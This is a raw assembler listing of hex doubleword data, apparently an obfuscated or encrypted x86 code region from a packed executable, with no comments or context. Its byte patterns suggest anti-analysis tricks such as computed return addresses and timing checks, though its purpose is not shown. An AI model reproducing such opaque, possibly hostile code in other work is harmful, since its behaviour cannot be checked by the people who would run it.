		dd 0BD235FF1h, 7E91309h, 0BD8BD82Bh, 7E91941h, 50525050h
		dd 0AE952h, 0DAC20000h,	7F571CF8h, 5074B00h, 5250310Fh
		dd 585A310Fh, 310F585Ah, 14E853h, 5A850000h, 0D0A8C552h
		dd 5A4F764Ah, 25925D14h, 2FBD3C6Ah, 5F5E26D7h, 1C89585Ah
		dd 53006A24h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 290673D0h, 0EA0FAE70h, 0B5FF17ADh, 7E92AD1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3DC35747h
		dd 0A7DE880h, 0A51D68D9h, 0C1BD331Dh, 0F07E91Eh, 95FFF0B7h
		dd 7E90C31h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	39C35545h, 0FEC251DBh, 0F7BF0FEAh, 6A00B0h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 5AE1ABC3h, 0E642B736h, 53006A70h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 7BF66F6h, 0F71E473h
		dd 689h, 0D5950900h, 3C07E91Eh,	0FD830F61h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 422FC355h, 33DC20EEh, 0E91739B5h,	0D8B60F07h
		dd 48B0Fh, 0BE660000h, 6BA32EBh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7C6FC357h
		dd 0BF0F8ADBh, 0F9C38BFEh, 6A04E8C1h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 2EC7C350h
		dd 0E6C08A45h, 0C6811331h, 704CF19Eh, 0E8E2F766h, 11h
		dd 496DF7B8h, 0EE33BF11h, 5E87B0A7h, 7FC3A61Bh,	99BD89DCh
		dd 5F07E934h, 8D31D82Bh, 7E917D1h, 5E958h, 0E9D0000h, 2BB42610h
		dd 39880FD8h, 0F000001h, 382h, 0FABF0F00h, 7B9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0BF6198F2h, 991BD89h, 0C18307E9h, 0FE8B6600h, 13BBF66h
		dd 860FD93Bh, 0F4h, 7E9h, 75329600h, 1B3DDAC9h,	1D98C66h
		dd 0E901899Dh, 4C1F607h, 0CB840Fh
		dd 0BD8B0000h, 7E91941h, 5995FFh, 6A07E9h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0B41BB4C3h
		dd 10E8h, 447A3300h, 9413990Eh,	0ED61F6A6h, 60D337F4h
		dd 6D9D8932h, 5F07E92Eh, 2890Fh, 0F38B0000h, 0C32BF85Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ACC35646h
		dd 890F5FCEh, 0
		dd 11E9h, 9908A200h, 7401305h, 13042660h, 0CAFFEA51h, 343DC989h
		dd 0F000008h, 3486h, 0A1958900h, 0E907E91Fh, 34h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 7EC35040h, 35D6573Dh
		dd 8B862BACh, 0E9085DB5h, 0FC08B07h, 38Ch, 0F0B70F00h
		dd 0D88BC38Bh, 0C7F28B66h, 0E91E5D85h, 59C3D907h, 53006A1Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0A14BEAE5h, 0BF004711h, 1EEF04F8h, 6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0B3295BC3h, 6DFBF2E6h, 0FE8h, 0C9C49100h, 491EA6Bh
		dd 47CFFB84h, 9E1995FEh, 0CC18589h, 815F07E9h, 0E92AD1BDh
		dd 7D007h, 3A850F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 348AC355h, 0EAF04370h
		dd 27DE5D28h, 2BC78160h, 0F879E96Ch, 0D185FF61h, 8907E92Ah
		dd 0E92F618Dh, 0D1B5FF07h, 6A07E92Ah, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 55EBC357h
		dd 0F4F14DCh, 81h, 0B9BD2900h, 0FF07E913h, 0E90C3195h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0BFFB94F6h, 5BBC477Dh, 17830Fh, 830F0000h
		dd 11h,	0CE9h, 0B8881200h, 2C4FF843h, 50D47C1Ah, 6A9097h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 6A7F9BC3h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 40C5C350h, 891051B9h, 0E91361BDh
		dd 0CEBE6607h, 6DBD89C3h, 6A07E926h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 0BF7BC350h
		dd 43D1C8C8h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	20C35242h, 0B8E8159Eh, 9F975DA3h, 0C8E0Fh, 85890000h
		dd 7E90289h, 1ED98D09h,	0C78107E9h, 37AEDE39h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0DAC35343h, 5DE39123h
		dd 6A927657h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 974C352h, 60C21471h, 1E619D8Bh
		dd 0AE807E9h, 0D4000000h, 7826FCABh, 0C0C2CB66h, 0EAFEBBEEh
		dd 615F1B61h, 0AE9h, 3660F700h,	664B11BDh, 0E9983054h
		dd 0FFFFF79Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	1CC35747h, 9477204Fh, 4C7DE24Ah, 0C8E0Fh, 8D890000h
		dd 7E90C91h, 879B52Bh, 0BD8907E9h, 7E91E65h, 8BF78B66h
		dd 4EBC1h, 66000000h, 1167EE81h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 15h, 99C35646h, 0FD9D093Eh, 0E907E906h
		dd 10h,	4CFBB30Ch, 2DE9B35Ah, 2F872762h, 0AE5DF8D1h, 861858Dh
		dd 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0A02CBDC3h, 7E045FCh, 4DB50BC0h, 9007E92Ah
		dd 50F98B66h, 870F5250h, 5, 8E8794BEh, 60310F4Ch, 0FBF1BA66h
		dd 5A6171B4h, 0B5899058h, 7E90C49h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8F9044C3h
		dd 6A82C2EDh, 6A56F3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 3FC35747h, 0A6A830Ah,	0BD8B66C0h, 7E92A85h
		dd 28B2858Dh, 6A07EDh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0C6533CC3h, 1FCAEDC7h, 0CE8h, 32005000h
		dd 1EE0664Fh, 96FA6C87h, 0FEB70FEAh, 5C0835Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 3EC35141h, 3DBFA3A8h
		dd 906C2ACDh, 0C8FD74BEh, 5250506Eh, 0FF78B66h,	52505331h
		dd 585A310Fh, 90585A5Eh, 2025B58Bh, 6A07E9h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 7E32E9C3h, 0BABE2B04h, 870F65B8h, 6,	1351BD89h, 95FF07E9h
		dd 7E90FB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0EBC35141h, 0D47B91CBh,	0B5295081h, 7E90F49h, 0D72C9D8Dh
		dd 6A07ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8C0FCCC3h, 0
		dd 8960D3FFh, 0E92B8185h, 0D9F28107h, 6107067Ch, 84EB8060h
		dd 13890Fh, 0EE90000h, 71000000h, 41EEA554h, 505C3B81h
		dd 6370144Fh, 85FF617Ch, 7E90F9Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 71C35040h, 892E23E9h, 7DEE9h
		dd 0E800h, 815D0000h, 0ED28BCEDh, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 58E8B570h
		dd 0A04B8B3Ch, 0D1BD81A5h, 0D007E92Ah, 0F000007h, 15D86h
		dd 0E7816600h, 9D8BE044h, 7E91911h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 1EC35747h, 0E3819C9Dh, 100h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0F5C35545h
		dd 89D85A4Bh, 0E91EADB5h, 0FDB0B07h, 0A585h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 4DAD58DFh, 0C860FEBh, 0F000000h, 68Eh, 89B58B00h, 8307E92Ch
		dd 0ED266DBDh, 840F0007h, 4Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 6AC35646h, 9430005Eh, 0FE9600Dh
		dd 2D000000h, 0F14B1A75h, 0AADC6310h, 9DFDDB65h, 0B5891B39h
		dd 7E910B9h, 619D0961h,	0E907E924h, 2Fh, 0C7FB8B66h, 0ED266D85h
		dd 107h, 45BD0300h, 0E907E924h,	17h, 2EC5BD8Bh,	85C707E9h
		dd 7ED266Dh, 0
		dd 0CBD8D29h, 8DFC07E9h, 0E919119Dh, 0C8F0F07h,	0E9000000h
		dd 7, 20688662h, 8B11B8D6h, 0E925ADBDh,	0FF238107h, 6AFFFFFEh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0C6EDC355h, 7272A449h, 12F18D89h,	8C6607E9h
		dd 55006ADBh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FCD93AAh, 58Ah,	0E6816600h, 0C3F6C05Ah
		dd 27840F04h, 8B000000h, 5995FFF3h, 3107E900h, 0E908C9BDh
		dd 0BF669007h, 52506741h, 52505250h, 2 dup(585A310Fh)
		dd 0BE66905Eh, 0E6E9B84Bh, 6A000003h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0FE17C350h
		dd 0A9AA98E5h, 0B0A6DDh, 398D8960h, 8907E90Ah, 0E90B01BDh
		dd 70E66107h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	9BC35141h, 520F5861h, 8E9h, 0A0D61800h,	30D11746h
		dd 71E45FDFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0C8C35747h, 0E2C35B52h,	8B07A4BCh, 0E92A71BDh
		dd 0D8B60F07h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0F7C35747h, 0D2EE24AEh,	38F0FFFh, 66000000h, 6BAFB8Bh
		dd 66000000h, 0C38BF38Bh, 0EE9h, 87E86A00h, 0DC8D5C46h
		dd 3AA4112Ch, 0C19CCBC8h, 0AE904E8h, 66000000h,	0B5C0CFBEh
		dd 0E58B66B8h, 0E2F76683h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 83C35040h, 0C2EF7C03h, 894F3C7Ch, 0E93089B5h
		dd 89958907h, 2B07E911h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0F2573961h, 9374BA82h
		dd 0F78B6651h, 11E9505Fh, 96000000h, 0A5AD6054h, 0D84E62Dh
		dd 816DFF43h, 714218AFh, 53006A93h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 14CAC07Eh, 0BEB81DCDh
		dd 0D5BD8B29h, 0FF07E90Fh, 0E92AD1B5h, 35852907h, 8107E931h
		dd 0A22079E6h, 3195FF0Ah, 0E907E90Ch, 0Ah, 0D4FABA70h
		dd 0A7831DE6h, 0B0B3CFh, 10B4BF66h, 6A70E6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 763E3CC3h
		dd 0FA21D4DBh, 0E78166E9h, 71E4FA70h, 0B818D89h, 613C07E9h
		dd 1F7830Fh, 0CE90000h,	35000000h, 4E80B363h, 1738DEF4h
		dd 0F708943h, 850FD8B6h, 6, 1F19B529h, 6BA07E9h, 0F000000h
		dd 78Ah, 0EEBA6000h, 6129ECCAh,	6AC38Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 6C27F1C3h
		dd 0F04E8C1h, 68Ch, 41BD8B00h, 6607E90Ah, 11E9E2F7h, 5D000000h
		dd 0DEF3D29Ah, 6FAE907Dh, 0C0B55857h, 149D269Bh, 0CE9D82Bh
		dd 0BE000000h, 77EFD7BEh, 0E6A43D4Dh, 58A5DBADh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 42C35141h, 0F1DDC296h
		dd 0FD82B72h, 14088h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0FEE0B30h, 0B9F9B70Fh
		dd 7, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 1Ah
		dd 4EC35646h, 1AC1E610h, 8166BAFFh, 834DDCF7h, 6A00C1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8B67C3h, 7E91ECDh, 9E9h, 0EDF91D00h, 0FA95B9BCh
		dd 0D93B3605h, 0B7860Fh, 0B5890000h, 7E91619h, 0FD98C66h
		dd 38Ah, 0F08B6600h, 0F04C1F6h,	9784h, 41BD8B00h, 6607E909h
		dd 0FF87E4BEh, 0E9005995h, 6A5B07h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E61C59C3h
		dd 9EFE955h, 0BD8B512Ah, 7E916A9h, 3DF5C32Bh, 834h, 4E860Fh
		dd 8B660000h, 0EE8F7h, 9EF0000h, 5623512Ah, 9C62E0BAh
		dd 0A20BA410h, 1CDDB58Bh, 0E95F07E9h, 31h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1AC35545h, 8B608440h
		dd 0E919DDB5h, 0E18D0907h, 6107E90Bh, 0BF0FC08Bh, 8BC38BF8h
		dd 6E8D8h, 0E53F0000h, 7403BB0Fh, 68B0Fh, 0BD8B0000h, 7E90A91h
		dd 0E185C75Fh, 3F07E92Fh, 811D390Bh, 25E02DEFh,	23C08B65h
		dd 0E90C91B5h, 0D1BD8107h, 0D007E92Ah, 0F000007h, 3C85h
		dd 8A0F00h, 8B000000h, 0E90BE9BDh, 0D185FF07h, 6A07E92Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 1491C352h, 8E48B0A2h, 8B577C0Bh, 0E92DCDBDh
		dd 0D1B5FF07h, 0E807E92Ah, 0Bh,	10B81F42h, 7CC1F0A0h, 0F561425h
		dd 68Bh, 0A9B58B00h, 5E07E902h,	0C3195FFh, 6A07E9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0FA62DEC3h, 1E0DB589h, 90F907E9h, 6AF8F8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 86C39FC3h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 72C35646h
		dd 0A6BE5F57h, 297F9103h, 0E909E995h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0E28507CBh, 8660A79Eh, 0BD33F07Eh, 7E908D5h,	0F59227BEh
		dd 55006A33h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0E66D5BAh, 3535BD23h, 14E907E9h,	6E000000h
		dd 5AA92155h, 4BC8BA6Eh, 4549594Fh, 0DB52FABh, 89E123EAh
		dd 0E90C419Dh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 3CA38994h, 21853124h
		dd 6A07E924h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 6772C357h, 0F5B2883Ch,	8589CB1Ah
		dd 7E93509h, 3591B58Bh,	0BD8B07E9h, 7E91585h, 0FFF830E9h
		dd 9E9FFh, 83460000h, 21F04046h, 0E948013Eh, 1Dh, 73A86FDAh
		dd 6 dup(0)
		dd 520E900h, 65F60000h,	1A3E9A1Bh, 0CD63CD60h, 7E9602B3h
		dd 32C771FCh, 0F435AB4Ah, 6A0B7184h, 0D855D7CEh, 0CA1DB7Ch
		dd 45E88AA0h, 8B0B8620h, 85286F95h, 0A04A1177h,	0AF420ED6h
		dd 2FC620CDh, 8FA6FA9Fh, 0F983953Dh, 21099F25h,	0C91567F5h
		dd 310D6F8Dh, 3B0B7185h, 23D37A9Eh, 7ACB758Ah, 1EDA7CC8h
		dd 4FE690BAh, 83324AEDh, 0A248FE11h, 0E4E242D0h, 4BA7D578h
		dd 24B6366Fh, 2E97178Ah, 2B79305Ch, 587C93CFh, 9FE077B1h
		dd 0E11EDCF7h, 12A33140h, 50EA94A6h, 0CA1A60F4h, 453C70B8h
		dd 305C2A6Ah, 0B18DEF00h, 0BB8BF105h, 0D723CACEh, 0DB1BC256h
		dd 98FD9B42h, 0AC84379Ah, 3190A51Fh, 82C184h, 4AE10000h
		dd 970ED6A0h, 305CC515h, 83631D33h, 0B15ADF37h,	491B66A0h
		dd 72A5790Fh, 0AF48AB52h, 479BB05Fh, 0AC40E57Bh, 74F4CC0Dh
		dd 9D398431h, 58DC3579h, 8068FE84h, 16Dh, 0A64A7500h, 73AB42D4h
		dd 0FA2BBA1Fh, 13BFF33Fh, 15A17DFFh, 50ED7FFDh,	5B18EF77h
		dd 336FCB22h, 19CB7286h, 0DB9DB1F5h, 5BC8E6A6h,	0E6742E30h
		dd 6B2FC650h, 0C0C0B1BEh, 50305C30h, 2434BB52h,	55C7CA26h
		dd 8A38B5C7h, 9D5A74Ah,	53E5A94Dh, 45019B29h, 0CD61C9B3h
		dd 0BD77167Eh, 0E751DC98h, 35912B55h, 0FF855923h, 3DD3FF33h
		dd 47CBE343h, 0DA7B75A6h, 7EFB8430h, 0CF000000h, 9D5A74Ah
		dd 47D1AB4Dh, 8E8B89AEh, 5ED4AEDh, 9832ECE9h, 3366E43Ch
		dd 305CA173h, 0C72B079Dh, 2D4FE226h, 0B745019Bh, 0A0D4D4C5h
		dd 663C305Ch, 8095078Ah, 74AC28F4h, 92BE2EF6h, 0FDC62EEBh
		dd 56208430h, 82000000h, 43D5A74Ah, 77F52DA9h, 5CC58202h
		dd 10269230h, 7E0C966Eh, 0BD527EB2h, 34742DC7h,	0DC305CC5h
		dd 0C4D3D3C6h, 673D305Ch, 7C900DD1h, 40062BDDh,	0B03DD351h
		dd 15ED7812h, 727B2043h, 0B75B7FBBh, 2D8879C5h,	0EC305C39h
		dd 50B06108h, 0AE84316Ch, 1, 0DAA44A34h, 0D2AC4E0Ah, 52FB1D72h
		dd 77FE8096h, 14A6313Ch, 0B5ADA29Dh, 32129037h,	6B0A7486h
		dd 0C14353FBh, 0FBAF4D69h, 48942AAAh, 0FD7F963Eh, 0B657A321h
		dd 2873ADF4h, 886E0F01h, 355B20FDh, 0F83069E2h,	0AA3C3EDCh
		dd 0D5C54013h, 240CD57Eh, 0A3DD7FD9h, 0D3A94D09h, 0AF3BBA3Ah
		dd 230F8005h, 4F29C38Fh, 31D824F7h, 811B65F7h, 0E34FCDC5h
		dd 33C4801Eh, 0B908BC4Eh, 982E7624h, 8917350h, 6EED8C1Ah
		dd 0F5000001h, 463BDC78h, 47BC11A7h, 0FD41D7A4h, 0DB560BE7h
		dd 0A420BA4Ch, 35EEF6Dh, 0B01410B3h, 545332FEh,	0C237B570h
		dd 9AB01CE0h, 70864ED8h, 4FDF220Eh, 230F7187h, 0CB1B65F7h
		dd 79136D8Fh, 70A874ECh, 4143A321h, 1F330FB4h, 0C0CC9FD3h
		dd 54DEF19h, 2EC084F0h,	0B737BE4Ch, 0BB77092Fh,	19EAB808h
		dd 7E368Ch, 788C0000h, 5B455EEDh, 40A803FEh, 0B61498ADh
		dd 0C669C7A7h, 0B3413BDDh, 0A579FB2Bh, 82FF891Fh, 0B05CA922h
		dd 0B56CB0F2h, 0B05CA8F5h, 0A155F418h, 0A91A9A17h, 0A8FAB05Ch
		dd 1398AD40h, 47C5DD79h, 360E8E87h, 0C86244ACh,	0A943433Eh
		dd 0D7CDB05Ch, 0A94A6A1Bh, 9430305Ch, 9E24F882h, 0D2C2AE52h
		dd 64F68C50h, 5CA96D2Dh, 6FFDA730h, 0A4FC58C6h,	9D1D9426h
		dd 77305CA8h, 8ACAC52Dh, 14000000h, 0A537A0B3h,	2DC2720Bh
		dd 982DAFE6h, 5EFEB314h, 9869C1BBh, 37B52B5Dh, 0DBF74F55h
		dd 2AE4731h, 0CFB68EE8h, 287329F2h, 0CB1B61F4h,	0CD116B8Fh
		dd 29BEFEB3h, 4C562873h, 64963759h, 787E1F31h, 71E075EDh
		dd 66099C20h, 0A7DA6CBBh, 287331E7h, 1BBF7B29h,	0BBEE87F1h
		dd 7AB828B8h, 116F038Dh, 0F75FE983h, 34D51D9Fh,	2FC820FAh
		dd 24906C36h, 67986416h, 7AF5B861h, 0B74537DBh,	0F0B26C25h
		dd 127E27DAh, 45E87EF8h, 0B3EE78FDh, 305CC4F3h,	0F6AB871Dh
		dd 275AEC7Bh, 37B193EDh, 32722FB9h, 0E2286F95h,	8A1862F6h
		dd 44D6C2AEh, 7C58A43Ah, 0A7119CDEh, 6A1BEB95h,	7C293B11h
		dd 0EF19C054h, 1682334Dh, 2EAA7A04h, 77A874F6h,	0DE7CA851h
		dd 1700A9Ch, 0B42A3B81h, 6B152793h, 24901DD5h, 0AD26416h
		dd 344E96E0h, 1F0FA0FCh, 73000000h, 7E3341EBh, 0B42A3B3Eh
		dd 0E63ECCD6h, 57574ADCh, 0B9B42A3Bh, 54BD0FEBh, 9BE50AD2h
		dd 0A14A6D5Fh, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h
		dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h
		dd 45h,	50243C89h, 405E089h, 83000000h,	48704E8h, 0C895C24h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 68243C89h
		dd 2Bh,	0BD242C89h, 528323F5h, 0CC7C581h, 0E989B56Ah, 3C8B545Dh
		dd 4C48124h, 68000000h,	0F95h, 8F240C89h, 34FF0847h, 0C4835F24h
		dd 2434FF04h, 4C48359h,	0FC45E9E9h, 6DB8FBFFh, 307ED35h
		dd 35E0FFC5h, 0DA2264A8h, 51062B62h, 336981D6h,	583028BFh
		dd 0A15E75AAh, 607977E0h, 301D531Ch, 0B47C0969h, 7160D07Dh
		dd 0D96425A4h, 5130F35h, 53402021h, 79655A7Bh, 0DA38C32Bh
		dd 4D434EDEh, 0E24602CAh, 567145E2h, 3B75F3C9h,	0B732340h
		dd 8B6CD601h, 86495F1h,	683216F2h, 6216CE39h, 9475AE13h
		dd 376C058Bh, 0F37F2442h, 2D64BC8Dh, 54651D1Fh,	0F10390F4h
		dd 2B587844h, 8B5EEA47h, 10E9C1h, 0E67B0000h, 9C41238Ah
		dd 0B32535B9h, 7C74E5A2h, 4EB3AEEh, 0
		dd 6AFA8B66h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 6545C350h, 0C9D8A2ECh,	8589F427h
		dd 7E92A5Dh, 8DFE8B66h,	0E9086185h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 64CDE575h
		dd 900E6A1Fh, 80DB36BEh, 6A90503Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 5F85C351h
		dd 8B268E3Dh, 0E908D1BDh, 97BE6607h, 0BE982h, 0C6FE0000h
		dd 0DCD3B304h, 5E258EBAh, 6A006A29h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0D236C350h
		dd 134FA557h, 160A6F2h,	0E902C59Dh, 0A992BE07h,	6A611A3Ah
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 7180FCEDh, 0C69C38CDh, 858DBE1Ah, 7ED387Fh
		dd 2FA19589h, 0C08307E9h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 24EE5ED0h
		dd 5095842Eh, 880F5250h, 0
		dd 8B60310Fh, 6128B1F8h, 489585Ah, 10E924h, 8D80000h, 0D579240Fh
		dd 402EA8A3h, 77B9BE48h, 6A58E7h, 229DB50Bh, 6A07E9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 84C35343h, 0BFF5E6BCh
		dd 609DF47Ah, 0FB995FFh, 5E807E9h, 6D000000h, 30F84E3Ch
		dd 0CEBABF66h, 2C9D8D5Fh, 6A07ECD7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 533AC350h
		dd 11992CA4h, 3291106Fh, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 63C181C3h, 512019DFh
		dd 0BE91A5D9h, 1FA412DBh, 0F9D85FFh, 0BE807E9h,	0C000000h
		dd 0D0A030ACh, 1E42FF32h, 0F28B8371h, 819E95Eh,	0E80000h
		dd 5D000000h, 3889ED81h, 666007EDh, 0B55FF0B8h,	0BD816155h
		dd 7E92AD1h, 7D0h, 163860Fh, 9D010000h,	7E90005h, 0C8D9D8Bh
		dd 665107E9h, 5F48C7BEh, 100E381h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 79A75DC3h
		dd 0F1BD8906h, 0B07E900h, 0B1850FDBh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0C8ABC351h, 18F9AE72h, 7ABD835Ch, 7ED36h, 4C840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0B5C0CFC3h, 12359D89h, 8DE907E9h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0D44BC355h, 56699C11h, 85C7DCB0h, 7ED367Ah, 1, 6F5BD8Bh
		dd 55E907E9h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0BE60C356h,	68308D32h
		dd 367A85C7h, 7EDh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 96F7BBC3h, 7C550BADh
		dd 0BE4DEEF9h, 4DDB93EEh, 0C8D9D8Dh, 238107E9h,	0FFFFFEFFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 41C35141h
		dd 8896A85Bh, 8E9h, 0DAA76800h,	2A86042Bh, 0DB8C66B8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 9FC35141h
		dd 0F5BD2BCCh, 0F607E919h, 840F04C3h, 7Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A7C35242h, 9FAD22A8h
		dd 9B0CE30Ah, 1EA9B523h, 95FF07E9h, 7E90059h, 0DE860h
		dd 475A0000h, 2026003h,	0BF0FA95Ch, 0E8017321h,	0Eh, 0CCBD3324h
		dd 759B85E6h, 8092A6B8h, 5A5B8F37h, 0E99061F8h,	0Dh, 0DA368798h
		dd 0C9E3DD14h, 0BFEC30C8h, 0E99050A4h, 0Ah, 81F75CF0h
		dd 3F7DA711h, 0B0E9DBB1h, 0B0000003h, 70E6FC00h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4BC35747h, 71E406EDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8DC35040h
		dd 0F676E3D4h, 551B58Bh, 0B60F07E9h, 52006AD8h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F62DF557h
		dd 0E061939Eh, 0D88B6083h, 6BA61F9h, 0BF000000h, 631B5B57h
		dd 0B529C38Bh, 7E92A79h, 6A04E8C1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A65DC350h
		dd 8A1B826Dh, 0F766FC46h, 11E9E2h, 0EB890000h, 4D877578h
		dd 6C7A8B4Dh, 9B350F7Fh, 2B04CD05h, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 2C4DD4D7h
		dd 93F6B70Fh, 0E7B9CFBFh, 6E95074h, 35000000h, 0E1E08F6Dh
		dd 6A9381h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0A689D1C3h, 2557F781h, 0F18B7883h, 2AD1B5FFh
